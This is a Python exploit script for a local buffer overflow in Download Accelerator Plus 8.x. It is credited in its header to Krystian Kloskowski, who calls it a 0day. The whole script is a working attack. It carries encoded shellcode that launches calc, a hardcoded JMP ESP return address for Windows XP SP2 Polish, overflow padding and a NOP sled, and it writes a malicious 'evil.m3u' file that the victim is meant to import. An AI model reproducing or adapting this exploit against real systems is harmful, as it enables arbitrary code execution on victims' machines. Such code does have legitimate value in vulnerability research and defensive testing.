#!/usr/bin/python # Download Accelerator Plus - DAP 8.x (m3u) 0day Local Buffer Overflow Exploit # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl> # Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish # Shellcode: Windows Execute Command (calc) # Just for fun ;] ## from struct import pack shellcode = ( "\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6" "\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7" "\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58" "\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae" "\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60" "\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf" "\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70" "\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33" "\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04" "\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2") RET = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish) m3u = 'http://localhost/verify_me________________________________%s.mp3' buf = 'A' * 14074 buf += pack('<L', RET) buf += '\x90' * 32 buf += shellcode m3u %= buf fd = open('evil.m3u', 'wb') fd.write(m3u) fd.close() print 'DONE, import the evil.m3u and click "Verify"' # EoF